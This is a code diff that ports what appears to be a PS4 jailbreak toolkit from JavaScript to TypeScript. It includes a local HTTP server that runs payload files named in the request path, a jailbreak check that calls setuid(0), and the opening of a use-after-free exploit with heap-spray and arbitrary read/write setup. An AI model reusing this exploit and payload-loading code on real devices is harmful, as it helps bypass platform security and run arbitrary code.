@@ -295,8 +298,7 @@
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
close_sys(client)
|
||||
close_sys(new BigInt(client))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -306,7 +308,7 @@
|
||||
|
||||
if (currentVideo.duration > 0 && currentVideo.elapsed > 0) {
|
||||
// Start preloading when 70% through current video
|
||||
var threshold = currentVideo.duration * 0.7
|
||||
const threshold = currentVideo.duration * 0.7
|
||||
if (!preloadStarted && currentVideo.elapsed >= threshold) {
|
||||
log('Preloading next video at ' + currentVideo.elapsed + 'ms...')
|
||||
preloadStarted = true
|
||||
@@ -315,7 +317,7 @@
|
||||
}
|
||||
}
|
||||
|
||||
var isShuttingDown = false
|
||||
let isShuttingDown = false
|
||||
|
||||
jsmaf.onKeyDown = function (keyCode) {
|
||||
if (keyCode === 13 && !isShuttingDown) { // Circle - exit
|
||||
@@ -325,11 +327,11 @@
|
||||
|
||||
// Shutdown server socket (stops accepting new connections)
|
||||
try {
|
||||
var SHUT_RDWR = 2
|
||||
const SHUT_RDWR = 2
|
||||
shutdown_sys(srv, new BigInt(0, SHUT_RDWR))
|
||||
log('Server socket shutdown')
|
||||
} catch (e) {
|
||||
log('Error shutting down server: ' + e.message)
|
||||
log('Error shutting down server: ' + (e as Error).message)
|
||||
}
|
||||
|
||||
// Close server socket
|
||||
@@ -337,7 +339,7 @@
|
||||
close_sys(srv)
|
||||
log('Server socket closed')
|
||||
} catch (e) {
|
||||
log('Error closing server socket: ' + e.message)
|
||||
log('Error closing server socket: ' + (e as Error).message)
|
||||
}
|
||||
|
||||
// Close video players
|
||||
@@ -345,14 +347,14 @@
|
||||
currentVideo.close()
|
||||
log('Current video closed')
|
||||
} catch (e) {
|
||||
log('Error closing current video: ' + e.message)
|
||||
log('Error closing current video: ' + (e as Error).message)
|
||||
}
|
||||
|
||||
try {
|
||||
nextVideo.close()
|
||||
log('Next video closed')
|
||||
} catch (e) {
|
||||
log('Error closing next video: ' + e.message)
|
||||
log('Error closing next video: ' + (e as Error).message)
|
||||
}
|
||||
|
||||
// Clear handlers
|
||||
@@ -362,7 +364,7 @@
|
||||
log('Cleanup complete, returning to main menu in 500ms...')
|
||||
|
||||
// Small delay to let everything settle
|
||||
var cleanup_start = Date.now()
|
||||
const cleanup_start = Date.now()
|
||||
while (Date.now() - cleanup_start < 500) {
|
||||
// Wait
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
Executable → Regular
+117
-131
@@ -1,3 +1,6 @@
|
||||
import { libc_addr } from 'download0/userland'
|
||||
import { fn, mem, BigInt } from 'download0/types'
|
||||
|
||||
// simple server
|
||||
|
||||
if (libc_addr === null) {
|
||||
@@ -7,68 +10,53 @@ if (libc_addr === null) {
|
||||
jsmaf.remotePlay = true
|
||||
|
||||
// register socket stuff
|
||||
try { fn.register(97, 'socket', 'bigint') } catch (e) {}
|
||||
try { fn.register(98, 'connect', 'bigint') } catch (e) {}
|
||||
try { fn.register(104, 'bind', 'bigint') } catch (e) {}
|
||||
try { fn.register(105, 'setsockopt', 'bigint') } catch (e) {}
|
||||
try { fn.register(106, 'listen', 'bigint') } catch (e) {}
|
||||
try { fn.register(30, 'accept', 'bigint') } catch (e) {}
|
||||
try { fn.register(32, 'getsockname', 'bigint') } catch (e) {}
|
||||
try { fn.register(3, 'read', 'bigint') } catch (e) {}
|
||||
try { fn.register(4, 'write', 'bigint') } catch (e) {}
|
||||
try { fn.register(6, 'close', 'bigint') } catch (e) {}
|
||||
try { fn.register(0x110, 'getdents', 'bigint') } catch (e) {}
|
||||
try { fn.register(93, 'select', 'bigint') } catch (e) {}
|
||||
fn.register(97, 'socket', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(98, 'connect', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(104, 'bind', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(105, 'setsockopt', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(106, 'listen', ['bigint', 'bigint'], 'bigint')
|
||||
fn.register(30, 'accept', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(32, 'getsockname', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(3, 'read', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(4, 'write', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(5, 'open', ['string', 'number', 'number'], 'bigint')
|
||||
fn.register(6, 'close', ['bigint'], 'bigint')
|
||||
fn.register(0x110, 'getdents', ['number', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(93, 'select', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint')
|
||||
|
||||
var socket_sys = fn.socket
|
||||
var connect_sys = fn.connect
|
||||
var bind_sys = fn.bind
|
||||
var setsockopt_sys = fn.setsockopt
|
||||
var listen_sys = fn.listen
|
||||
var accept_sys = fn.accept
|
||||
var getsockname_sys = fn.getsockname
|
||||
var read_sys = fn.read
|
||||
var write_sys = fn.write
|
||||
var close_sys = fn.close
|
||||
var getdents_sys = fn.getdents
|
||||
var select_sys = fn.select
|
||||
const socket_sys = fn.socket
|
||||
const connect_sys = fn.connect
|
||||
const bind_sys = fn.bind
|
||||
const setsockopt_sys = fn.setsockopt
|
||||
const listen_sys = fn.listen
|
||||
const accept_sys = fn.accept
|
||||
const getsockname_sys = fn.getsockname
|
||||
const read_sys = fn.read
|
||||
const write_sys = fn.write
|
||||
const open_sys = fn.open
|
||||
const close_sys = fn.close
|
||||
const getdents_sys = fn.getdents
|
||||
const select_sys = fn.select
|
||||
|
||||
var AF_INET = 2
|
||||
var SOCK_STREAM = 1
|
||||
var SOCK_DGRAM = 2
|
||||
var SOL_SOCKET = 0xFFFF
|
||||
var SO_REUSEADDR = 0x4
|
||||
var O_RDONLY = 0
|
||||
|
||||
// helper to make string buffer
|
||||
function str_buf (s) {
|
||||
var buf = mem.malloc(s.length + 1)
|
||||
for (var i = 0; i < s.length; i++) {
|
||||
mem.view(buf).setUint8(i, s.charCodeAt(i))
|
||||
}
|
||||
mem.view(buf).setUint8(s.length, 0) // null terminator
|
||||
return buf
|
||||
}
|
||||
const AF_INET = 2
|
||||
const SOCK_STREAM = 1
|
||||
const SOCK_DGRAM = 2
|
||||
const SOL_SOCKET = 0xFFFF
|
||||
const SO_REUSEADDR = 0x4
|
||||
const O_RDONLY = 0
|
||||
|
||||
// scan download0 for js files
|
||||
function scan_js_files () {
|
||||
var files = []
|
||||
const files: string[] = []
|
||||
|
||||
// try different paths for payloads dir
|
||||
var paths = ['/download0/', '/app0/download0/', 'download0/payloads']
|
||||
var dir_fd = -1
|
||||
var opened_path = ''
|
||||
const paths = ['/download0/', '/app0/download0/', 'download0/payloads']
|
||||
let dir_fd = -1
|
||||
let opened_path = ''
|
||||
|
||||
for (var p = 0; p < paths.length; p++) {
|
||||
var path = paths[p]
|
||||
var path_str = mem.malloc(path.length + 1)
|
||||
for (var i = 0; i < path.length; i++) {
|
||||
mem.view(path_str).setUint8(i, path.charCodeAt(i))
|
||||
}
|
||||
mem.view(path_str).setUint8(path.length, 0)
|
||||
|
||||
dir_fd = fn.open(path_str, O_RDONLY)
|
||||
if (dir_fd instanceof BigInt) dir_fd = dir_fd.lo
|
||||
for (const path of paths) {
|
||||
const dirRet = open_sys(path, O_RDONLY, 0)
|
||||
dir_fd = dirRet.lo
|
||||
|
||||
if (dir_fd >= 0) {
|
||||
opened_path = path
|
||||
@@ -83,22 +71,20 @@ function scan_js_files () {
|
||||
|
||||
log('opened: ' + opened_path)
|
||||
|
||||
var dirent_buf = mem.malloc(1024)
|
||||
const dirent_buf = mem.malloc(1024)
|
||||
|
||||
while (true) {
|
||||
var ret = getdents_sys(dir_fd, dirent_buf, 1024)
|
||||
if (ret instanceof BigInt) ret = ret.lo
|
||||
const ret = getdents_sys(dir_fd, dirent_buf, new BigInt(1024)).lo
|
||||
if (ret <= 0) break
|
||||
|
||||
var offset = 0
|
||||
let offset = 0
|
||||
while (offset < ret) {
|
||||
var d_fileno = mem.view(dirent_buf).getUint32(offset, true)
|
||||
var d_reclen = mem.view(dirent_buf).getUint16(offset + 4, true)
|
||||
var d_type = mem.view(dirent_buf).getUint8(offset + 6)
|
||||
var d_namlen = mem.view(dirent_buf).getUint8(offset + 7)
|
||||
const d_reclen = mem.view(dirent_buf).getUint16(offset + 4, true)
|
||||
const d_type = mem.view(dirent_buf).getUint8(offset + 6)
|
||||
const d_namlen = mem.view(dirent_buf).getUint8(offset + 7)
|
||||
|
||||
var name = ''
|
||||
for (var i = 0; i < d_namlen; i++) {
|
||||
let name = ''
|
||||
for (let i = 0; i < d_namlen; i++) {
|
||||
name += String.fromCharCode(mem.view(dirent_buf).getUint8(offset + 8 + i))
|
||||
}
|
||||
|
||||
@@ -111,15 +97,15 @@ function scan_js_files () {
|
||||
}
|
||||
}
|
||||
|
||||
fn.close(dir_fd)
|
||||
close_sys(new BigInt(dir_fd))
|
||||
return files
|
||||
}
|
||||
|
||||
var js_files = scan_js_files()
|
||||
const js_files = scan_js_files()
|
||||
log('found ' + js_files.length + ' js files')
|
||||
|
||||
// build html with log panel and button
|
||||
var html = '<!DOCTYPE html>\n' +
|
||||
const html = '<!DOCTYPE html>\n' +
|
||||
'<html>\n' +
|
||||
'<head>\n' +
|
||||
'<title>ps4</title>\n' +
|
||||
@@ -140,12 +126,12 @@ var html = '<!DOCTYPE html>\n' +
|
||||
'</div>\n' +
|
||||
'<div id="status">disconnected</div>\n' +
|
||||
'<script>\n' +
|
||||
'var logEl=document.getElementById("log");\n' +
|
||||
'var statusEl=document.getElementById("status");\n' +
|
||||
'var ws=null;\n' +
|
||||
'function addLog(msg){var div=document.createElement("div");div.className="line";div.textContent=msg;logEl.appendChild(div);logEl.scrollTop=logEl.scrollHeight;}\n' +
|
||||
'const logEl=document.getElementById("log");\n' +
|
||||
'const statusEl=document.getElementById("status");\n' +
|
||||
'const ws=null;\n' +
|
||||
'function addLog(msg){const div=document.createElement("div");div.className="line";div.textContent=msg;logEl.appendChild(div);logEl.scrollTop=logEl.scrollHeight;}\n' +
|
||||
'function connectWS(){try{ws=new WebSocket("ws://127.0.0.1:40404");ws.onopen=function(){statusEl.textContent="connected";statusEl.style.opacity="1";addLog("[connected to ws]");};ws.onmessage=function(e){addLog(e.data);};ws.onclose=function(){statusEl.textContent="disconnected";statusEl.style.opacity="0.5";addLog("[disconnected]");setTimeout(connectWS,2000);};ws.onerror=function(){statusEl.textContent="error";statusEl.style.opacity="0.5";};}catch(e){addLog("[ws error: "+e.message+"]");setTimeout(connectWS,5000);}}\n' +
|
||||
'function goFullscreen(){var elem=document.documentElement;try{if(elem.requestFullscreen){elem.requestFullscreen();}else if(elem.webkitRequestFullscreen){elem.webkitRequestFullscreen();}else if(elem.mozRequestFullScreen){elem.mozRequestFullScreen();}else if(elem.msRequestFullscreen){elem.msRequestFullscreen();}else{addLog("[fullscreen not supported]");}}catch(e){addLog("[fullscreen error: "+e.message+"]");}}\n' +
|
||||
'function goFullscreen(){const elem=document.documentElement;try{if(elem.requestFullscreen){elem.requestFullscreen();}else if(elem.webkitRequestFullscreen){elem.webkitRequestFullscreen();}else if(elem.mozRequestFullScreen){elem.mozRequestFullScreen();}else if(elem.msRequestFullscreen){elem.msRequestFullscreen();}else{addLog("[fullscreen not supported]");}}catch(e){addLog("[fullscreen error: "+e.message+"]");}}\n' +
|
||||
'function loadPayload(){fetch("/load").then(function(){addLog("[payload loaded]");});}\n' +
|
||||
'connectWS();\n' +
|
||||
'window.onload = function() {\n' +
|
||||
@@ -158,28 +144,28 @@ var html = '<!DOCTYPE html>\n' +
|
||||
|
||||
// detect local ip by connecting to 8.8.8.8 (doesnt actually send anything)
|
||||
log('detecting local ip...')
|
||||
var detect_fd = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_DGRAM), new BigInt(0, 0))
|
||||
const detect_fd = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_DGRAM), new BigInt(0, 0))
|
||||
if (detect_fd.lo < 0) throw new Error('socket failed')
|
||||
|
||||
var detect_addr = mem.malloc(16)
|
||||
const detect_addr = mem.malloc(16)
|
||||
mem.view(detect_addr).setUint8(0, 16)
|
||||
mem.view(detect_addr).setUint8(1, AF_INET)
|
||||
mem.view(detect_addr).setUint16(2, 0x3500, false) // port 53
|
||||
mem.view(detect_addr).setUint32(4, 0x08080808, false) // 8.8.8.8
|
||||
|
||||
var local_ip = '127.0.0.1' // fallback
|
||||
let local_ip = '127.0.0.1' // fallback
|
||||
|
||||
if (connect_sys(detect_fd, detect_addr, new BigInt(0, 16)).lo >= 0) {
|
||||
var local_addr = mem.malloc(16)
|
||||
var local_len = mem.malloc(4)
|
||||
const local_addr = mem.malloc(16)
|
||||
const local_len = mem.malloc(4)
|
||||
mem.view(local_len).setUint32(0, 16, true)
|
||||
|
||||
if (getsockname_sys(detect_fd, local_addr, local_len).lo >= 0) {
|
||||
var ip_int = mem.view(local_addr).getUint32(4, false)
|
||||
var ip1 = (ip_int >> 24) & 0xFF
|
||||
var ip2 = (ip_int >> 16) & 0xFF
|
||||
var ip3 = (ip_int >> 8) & 0xFF
|
||||
var ip4 = ip_int & 0xFF
|
||||
const ip_int = mem.view(local_addr).getUint32(4, false)
|
||||
const ip1 = (ip_int >> 24) & 0xFF
|
||||
const ip2 = (ip_int >> 16) & 0xFF
|
||||
const ip3 = (ip_int >> 8) & 0xFF
|
||||
const ip4 = ip_int & 0xFF
|
||||
local_ip = ip1 + '.' + ip2 + '.' + ip3 + '.' + ip4
|
||||
log('detected ip: ' + local_ip)
|
||||
}
|
||||
@@ -189,16 +175,16 @@ close_sys(detect_fd)
|
||||
|
||||
// create server socket
|
||||
log('creating server...')
|
||||
var srv = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_STREAM), new BigInt(0, 0))
|
||||
const srv = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_STREAM), new BigInt(0, 0))
|
||||
if (srv.lo < 0) throw new Error('cant create socket')
|
||||
|
||||
// set SO_REUSEADDR
|
||||
var optval = mem.malloc(4)
|
||||
const optval = mem.malloc(4)
|
||||
mem.view(optval).setUint32(0, 1, true)
|
||||
setsockopt_sys(srv, new BigInt(0, SOL_SOCKET), new BigInt(0, SO_REUSEADDR), optval, new BigInt(0, 4))
|
||||
|
||||
// bind to 0.0.0.0:0 (let os pick port)
|
||||
var addr = mem.malloc(16)
|
||||
const addr = mem.malloc(16)
|
||||
mem.view(addr).setUint8(0, 16)
|
||||
mem.view(addr).setUint8(1, AF_INET)
|
||||
mem.view(addr).setUint16(2, 0, false) // port 0
|
||||
@@ -210,11 +196,11 @@ if (bind_sys(srv, addr, new BigInt(0, 16)).lo < 0) {
|
||||
}
|
||||
|
||||
// get actual port
|
||||
var actual_addr = mem.malloc(16)
|
||||
var actual_len = mem.malloc(4)
|
||||
const actual_addr = mem.malloc(16)
|
||||
const actual_len = mem.malloc(4)
|
||||
mem.view(actual_len).setUint32(0, 16, true)
|
||||
getsockname_sys(srv, actual_addr, actual_len)
|
||||
var port = mem.view(actual_addr).getUint16(2, false)
|
||||
const port = mem.view(actual_addr).getUint16(2, false)
|
||||
|
||||
log('got port: ' + port)
|
||||
|
||||
@@ -233,32 +219,32 @@ try {
|
||||
jsmaf.openWebBrowser('http://127.0.0.1:' + port)
|
||||
log('opened browser')
|
||||
} catch (e) {
|
||||
log('couldnt open browser: ' + e.message)
|
||||
log('couldnt open browser: ' + (e as Error).message)
|
||||
}
|
||||
|
||||
// helper to send response
|
||||
function send_response (fd, body) {
|
||||
var resp = 'HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: ' + body.length + '\r\nConnection: close\r\n\r\n' + body
|
||||
var buf = mem.malloc(resp.length)
|
||||
for (var i = 0; i < resp.length; i++) {
|
||||
function send_response (fd: BigInt, body: string) {
|
||||
const resp = 'HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: ' + body.length + '\r\nConnection: close\r\n\r\n' + body
|
||||
const buf = mem.malloc(resp.length)
|
||||
for (let i = 0; i < resp.length; i++) {
|
||||
mem.view(buf).setUint8(i, resp.charCodeAt(i))
|
||||
}
|
||||
write_sys(fd, buf, new BigInt(0, resp.length))
|
||||
}
|
||||
|
||||
// parse path from http request
|
||||
function get_path (buf, len) {
|
||||
var req = ''
|
||||
for (var i = 0; i < len && i < 1024; i++) {
|
||||
var c = mem.view(buf).getUint8(i)
|
||||
function get_path (buf: BigInt, len: number) {
|
||||
let req = ''
|
||||
for (let i = 0; i < len && i < 1024; i++) {
|
||||
const c = mem.view(buf).getUint8(i)
|
||||
if (c === 0) break
|
||||
req += String.fromCharCode(c)
|
||||
}
|
||||
|
||||
// GET /path HTTP/1.1
|
||||
var lines = req.split('\n')
|
||||
const lines = req.split('\n')
|
||||
if (lines.length > 0) {
|
||||
var parts = lines[0].trim().split(' ')
|
||||
const parts = lines[0]!.trim().split(' ')
|
||||
if (parts.length >= 2) return parts[1]
|
||||
}
|
||||
return '/'
|
||||
@@ -267,46 +253,46 @@ function get_path (buf, len) {
|
||||
log('server ready - non-blocking mode')
|
||||
log('waiting for connections...')
|
||||
|
||||
var count = 0
|
||||
var serverRunning = true
|
||||
let count = 0
|
||||
let serverRunning = true
|
||||
|
||||
// Prepare select() structures (reuse across calls)
|
||||
var readfds = mem.malloc(128)
|
||||
var timeout = mem.malloc(16)
|
||||
const readfds = mem.malloc(128)
|
||||
const timeout = mem.malloc(16)
|
||||
mem.view(timeout).setUint32(0, 0, true)
|
||||
mem.view(timeout).setUint32(4, 0, true)
|
||||
mem.view(timeout).setUint32(8, 0, true)
|
||||
mem.view(timeout).setUint32(12, 0, true)
|
||||
|
||||
var client_addr = mem.malloc(16)
|
||||
var client_len = mem.malloc(4)
|
||||
var req_buf = mem.malloc(4096)
|
||||
const client_addr = mem.malloc(16)
|
||||
const client_len = mem.malloc(4)
|
||||
const req_buf = mem.malloc(4096)
|
||||
|
||||
function handleRequest () {
|
||||
if (!serverRunning) return
|
||||
|
||||
// Clear fd_set and set server fd
|
||||
for (var i = 0; i < 128; i++) {
|
||||
for (let i = 0; i < 128; i++) {
|
||||
mem.view(readfds).setUint8(i, 0)
|
||||
}
|
||||
|
||||
var fd = srv.lo
|
||||
var byte_index = Math.floor(fd / 8)
|
||||
var bit_index = fd % 8
|
||||
var current = mem.view(readfds).getUint8(byte_index)
|
||||
const fd = srv.lo
|
||||
const byte_index = Math.floor(fd / 8)
|
||||
const bit_index = fd % 8
|
||||
const current = mem.view(readfds).getUint8(byte_index)
|
||||
mem.view(readfds).setUint8(byte_index, current | (1 << bit_index))
|
||||
|
||||
// Poll with select() - returns immediately
|
||||
var nfds = fd + 1
|
||||
var select_ret = select_sys(new BigInt(0, nfds), readfds, new BigInt(0, 0), new BigInt(0, 0), timeout)
|
||||
const nfds = fd + 1
|
||||
const select_ret = select_sys(new BigInt(0, nfds), readfds, new BigInt(0, 0), new BigInt(0, 0), timeout)
|
||||
|
||||
// No connection ready
|
||||
if (select_ret.lo <= 0) return
|
||||
|
||||
// Connection ready - accept won't block
|
||||
mem.view(client_len).setUint32(0, 16, true)
|
||||
var client_ret = accept_sys(srv, client_addr, client_len)
|
||||
var client = client_ret instanceof BigInt ? client_ret.lo : client_ret
|
||||
const client_ret = accept_sys(srv, client_addr, client_len)
|
||||
const client = client_ret instanceof BigInt ? client_ret.lo : client_ret
|
||||
|
||||
if (client < 0) {
|
||||
log('accept failed: ' + client)
|
||||
@@ -318,48 +304,48 @@ function handleRequest () {
|
||||
log('[' + count + '] client connected')
|
||||
|
||||
// read request
|
||||
var read_ret = read_sys(client, req_buf, new BigInt(0, 4096))
|
||||
var bytes = read_ret instanceof BigInt ? read_ret.lo : read_ret
|
||||
const read_ret = read_sys(new BigInt(client), req_buf, new BigInt(0, 4096))
|
||||
const bytes = read_ret instanceof BigInt ? read_ret.lo : read_ret
|
||||
log('read ' + bytes + ' bytes')
|
||||
|
||||
var path = get_path(req_buf, bytes)
|
||||
const path = get_path(req_buf, bytes)
|
||||
log('path: ' + path)
|
||||
|
||||
// handle /load - just run loader.js
|
||||
if (path === '/load' || path.indexOf('/load?') === 0) {
|
||||
if (path === '/load' || path?.indexOf('/load?') === 0) {
|
||||
log('running loader.js')
|
||||
|
||||
send_response(client, 'loading...')
|
||||
close_sys(client)
|
||||
send_response(new BigInt(client), 'loading...')
|
||||
close_sys(new BigInt(client))
|
||||
|
||||
try {
|
||||
log('=== loading loader.js ===')
|
||||
include('loader.js')
|
||||
log('=== done ===')
|
||||
} catch (e) {
|
||||
log('error: ' + e.message)
|
||||
if (e.stack) log(e.stack)
|
||||
log('error: ' + (e as Error).message)
|
||||
if ((e as Error).stack) log((e as Error).stack!)
|
||||
}
|
||||
} else if (path.indexOf('/load/') === 0) {
|
||||
} else if (path?.indexOf('/load/') === 0) {
|
||||
// handle /load/filename.js
|
||||
var filename = path.substring(6)
|
||||
const filename = path.substring(6)
|
||||
log('loading: ' + filename)
|
||||
|
||||
send_response(client, 'loading ' + filename + '... check console')
|
||||
close_sys(client)
|
||||
send_response(new BigInt(client), 'loading ' + filename + '... check console')
|
||||
close_sys(new BigInt(client))
|
||||
|
||||
try {
|
||||
log('=== loading ' + filename + ' ===')
|
||||
include('download0/payloads/' + filename)
|
||||
log('=== done loading ' + filename + ' ===')
|
||||
} catch (e) {
|
||||
log('error: ' + e.message)
|
||||
if (e.stack) log(e.stack)
|
||||
log('error: ' + (e as Error).message)
|
||||
if ((e as Error).stack) log((e as Error).stack!)
|
||||
}
|
||||
} else {
|
||||
// just serve the main page
|
||||
send_response(client, html)
|
||||
close_sys(client)
|
||||
send_response(new BigInt(client), html)
|
||||
close_sys(new BigInt(client))
|
||||
}
|
||||
|
||||
log('closed connection')
|
||||
@@ -1,42 +1,34 @@
|
||||
import { fn, mem, BigInt } from 'download0/types'
|
||||
|
||||
// Statistics tracker using syscalls for direct file I/O
|
||||
|
||||
// Register read syscall if not already registered
|
||||
try {
|
||||
if (!fn.read) {
|
||||
fn.register(0x3, 'read', 'bigint')
|
||||
}
|
||||
} catch (e) {
|
||||
// Already registered
|
||||
}
|
||||
|
||||
function isJailbroken () {
|
||||
// Register syscalls
|
||||
try { fn.register(24, 'getuid', 'bigint') } catch (e) {}
|
||||
try { fn.register(23, 'setuid', 'bigint') } catch (e) {}
|
||||
fn.register(24, 'getuid', [], 'bigint')
|
||||
fn.register(23, 'setuid', ['number'], 'bigint')
|
||||
|
||||
// Get current UID
|
||||
var uid_before = fn.getuid()
|
||||
var uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before
|
||||
const uid_before = fn.getuid()
|
||||
const uid_before_val = uid_before.lo
|
||||
log('UID before setuid: ' + uid_before_val)
|
||||
|
||||
// Try to set UID to 0 (root) - catch EPERM if not jailbroken
|
||||
log('Attempting setuid(0)...')
|
||||
var setuid_success = false
|
||||
var error_msg = null
|
||||
|
||||
try {
|
||||
var setuid_result = fn.setuid(0)
|
||||
var setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result
|
||||
const setuid_result = fn.setuid(0)
|
||||
const setuid_ret = setuid_result.lo
|
||||
log('setuid returned: ' + setuid_ret)
|
||||
setuid_success = (setuid_ret === 0)
|
||||
} catch (e) {
|
||||
error_msg = e.toString()
|
||||
const error_msg = (e as Error).toString()
|
||||
log('setuid threw exception: ' + error_msg)
|
||||
}
|
||||
|
||||
// Get UID after setuid attempt
|
||||
var uid_after = fn.getuid()
|
||||
var uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after
|
||||
const uid_after = fn.getuid()
|
||||
const uid_after_val = uid_after.lo
|
||||
log('UID after setuid: ' + uid_after_val)
|
||||
|
||||
if (uid_after_val === 0) {
|
||||
@@ -48,7 +40,7 @@ function isJailbroken () {
|
||||
}
|
||||
}
|
||||
|
||||
var stats = {
|
||||
export const stats = {
|
||||
total: 0,
|
||||
success: 0,
|
||||
filepath: '/download0/stats.json',
|
||||
@@ -56,7 +48,11 @@ var stats = {
|
||||
// Load stats from file using syscalls
|
||||
load: function () {
|
||||
try {
|
||||
var fd = fn.open(this.filepath, 0, 0) // O_RDONLY
|
||||
fn.register(0x3, 'read', ['bigint', 'bigint', 'number'], 'bigint')
|
||||
fn.register(0x4, 'write', ['bigint', 'bigint', 'number'], 'bigint')
|
||||
fn.register(0x5, 'open', ['string', 'number', 'number'], 'bigint')
|
||||
fn.register(0x6, 'close', ['bigint'], 'bigint')
|
||||
const fd = fn.open(this.filepath, 0, 0) // O_RDONLY
|
||||
if (fd.lt(0)) {
|
||||
log('[STATS] No stats file found, starting fresh')
|
||||
this.total = 0
|
||||
@@ -65,19 +61,19 @@ var stats = {
|
||||
}
|
||||
|
||||
// Read file content
|
||||
var buf = mem.malloc(1024)
|
||||
var bytesRead = fn.read(fd, buf, 1024)
|
||||
const buf = mem.malloc(1024)
|
||||
const bytesRead = fn.read(fd, buf, 1024)
|
||||
fn.close(fd)
|
||||
|
||||
if (bytesRead.gt(0)) {
|
||||
if (bytesRead.neq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) {
|
||||
// Convert buffer to string
|
||||
var str = ''
|
||||
for (var i = 0; i < Number(bytesRead); i++) {
|
||||
str += String.fromCharCode(mem.view(buf.add(i)).getUint8(0, true))
|
||||
let str = ''
|
||||
for (let i = 0; i < Number(bytesRead); i++) {
|
||||
str += String.fromCharCode(mem.view(buf.add(i)).getUint8(0))
|
||||
}
|
||||
|
||||
try {
|
||||
var parsed = JSON.parse(str)
|
||||
const parsed = JSON.parse(str)
|
||||
this.total = parsed.total || 0
|
||||
this.success = parsed.success || 0
|
||||
log('[STATS] Loaded: total=' + this.total + ', success=' + this.success)
|
||||
@@ -89,7 +85,7 @@ var stats = {
|
||||
}
|
||||
} catch (e) {
|
||||
log('[STATS] Error loading stats: ' + e)
|
||||
log(e.stack)
|
||||
log((e as Error).stack ?? '')
|
||||
this.total = 0
|
||||
this.success = 0
|
||||
}
|
||||
@@ -98,16 +94,20 @@ var stats = {
|
||||
// Save stats to file using syscalls
|
||||
save: function () {
|
||||
try {
|
||||
fn.register(0x3, 'read', ['bigint', 'bigint', 'number'], 'bigint')
|
||||
fn.register(0x4, 'write', ['bigint', 'bigint', 'number'], 'bigint')
|
||||
fn.register(0x5, 'open', ['string', 'number', 'number'], 'bigint')
|
||||
fn.register(0x6, 'close', ['bigint'], 'bigint')
|
||||
this.filepath = isJailbroken() ? '/mnt/sandbox/download/CUSA00960/stats.json' : '/download0/stats.json'
|
||||
|
||||
var data = JSON.stringify({
|
||||
const data = JSON.stringify({
|
||||
total: this.total,
|
||||
success: this.success
|
||||
})
|
||||
|
||||
// Open file for writing (O_WRONLY | O_CREAT | O_TRUNC)
|
||||
// O_WRONLY = 1, O_CREAT = 0x200, O_TRUNC = 0x400
|
||||
var fd = fn.open(this.filepath, 0x601, 0x1FF) // 0x1FF = 0777 permissions
|
||||
const fd = fn.open(this.filepath, 0x601, 0x1FF) // 0x1FF = 0777 permissions
|
||||
|
||||
if (fd.lt(0)) {
|
||||
log('[STATS] Failed to open file for writing')
|
||||
@@ -115,12 +115,12 @@ var stats = {
|
||||
}
|
||||
|
||||
// Write data to file
|
||||
var buf = mem.malloc(data.length)
|
||||
for (var i = 0; i < data.length; i++) {
|
||||
mem.view(buf.add(i)).setUint8(0, data.charCodeAt(i), true)
|
||||
const buf = mem.malloc(data.length)
|
||||
for (let i = 0; i < data.length; i++) {
|
||||
mem.view(buf.add(i)).setUint8(0, data.charCodeAt(i))
|
||||
}
|
||||
|
||||
var bytesWritten = fn.write(fd, buf, data.length)
|
||||
const bytesWritten = fn.write(fd, buf, data.length)
|
||||
fn.close(fd)
|
||||
|
||||
if (bytesWritten.eq(data.length)) {
|
||||
@@ -163,7 +163,7 @@ var stats = {
|
||||
|
||||
// Print current stats
|
||||
print: function () {
|
||||
var current = this.get()
|
||||
const current = this.get()
|
||||
log('[STATS] ====== Statistics ======')
|
||||
log('[STATS] Total: ' + current.total)
|
||||
log('[STATS] Success: ' + current.success)
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Executable → Regular
+53
-50
@@ -1,23 +1,25 @@
|
||||
import { BigInt, fn, mem, rop, syscalls, utils } from 'download0/types'
|
||||
import { make_uaf } from 'download0/defs'
|
||||
|
||||
include('types.js')
|
||||
include('defs.js')
|
||||
|
||||
// needed for arw
|
||||
var u32_structs
|
||||
var spray_size = 0x100
|
||||
var marked_arr_offset = -1
|
||||
var corrupted_arr_idx = -1
|
||||
var marker = new BigInt(0xFFFF0000, 0x13371337)
|
||||
var indexing_header = new BigInt(spray_size, spray_size)
|
||||
const u32_structs: Uint32Array[] = new Array(0x100)
|
||||
const spray_size = 0x100
|
||||
let marked_arr_offset = -1
|
||||
let corrupted_arr_idx = -1
|
||||
const marker = new BigInt(0xFFFF0000, 0x13371337)
|
||||
const indexing_header = new BigInt(spray_size, spray_size)
|
||||
|
||||
// used for arw
|
||||
var master, slave, master_addr, slave_addr, slave_buf_addr
|
||||
|
||||
// used for addrof/fakeobj
|
||||
var leak_obj, leak_obj_addr
|
||||
let master: Uint32Array | undefined
|
||||
const slave: DataView = new DataView(new ArrayBuffer(0x30))
|
||||
let master_addr: BigInt = new BigInt(0)
|
||||
|
||||
log('Initiate UAF...')
|
||||
|
||||
var uaf_view = new DataView(new ArrayBuffer(0x100000))
|
||||
const uaf_view = new DataView(new ArrayBuffer(0x100000))
|
||||
|
||||
uaf_view.setUint32(0x10, 0xB0, true)
|
||||
|
